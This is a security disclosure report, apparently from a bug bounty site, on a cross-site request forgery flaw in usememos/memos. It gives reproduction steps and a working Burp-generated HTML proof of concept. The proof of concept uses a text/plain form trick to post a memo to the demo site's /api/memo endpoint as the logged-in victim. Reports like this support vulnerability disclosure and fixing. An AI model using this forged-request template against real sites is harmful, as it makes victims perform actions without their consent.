CSRF allows attacker to post on behalf of victim in usememos/memos

Valid

Reported on

Dec 23rd 2022

Description

Cross-Site Request Forgery (CSRF) is an attack that forces authenticated users to submit a request to a Web application against which they are currently authenticated. CSRF attacks exploit the trust a Web application has in an authenticated user.

Proof of Concept

1) Go to https://demo.usememos.com and login into your account 
2) Save the below CSRF POC as CSRF.html and open the file in the same browser 
3) You will see that the attackers content has been posted by the victim

POC video: https://drive.google.com/file/d/1fYjhqTC53GzgREP2vxjv0WYP6d0PGEls/view?usp=sharing

CSRF POC:

<html>
  <!-- CSRF PoC - generated by Burp Suite Professional -->
  <body>
  <script>history.pushState('', '', '/')</script>
    <form action="https://demo.usememos.com/api/memo" method="POST" enctype="text/plain">
      <input type="hidden" name="&#123;&quot;content&quot;&#58;&quot;Hacked&#32;by&#32;alchemist&quot;&#44;&quot;visibility&quot;&#58;&quot;PRIVATE&quot;&#44;&quot;resourceIdList&quot;&#58;&#91;&#93;&#125;" value="" />
      <input type="submit" value="Submit request" />
    </form>
  </body>
</html>



# Impact

A CSRF vulnerability can allow an attacker to force the change of a password and/or other personal information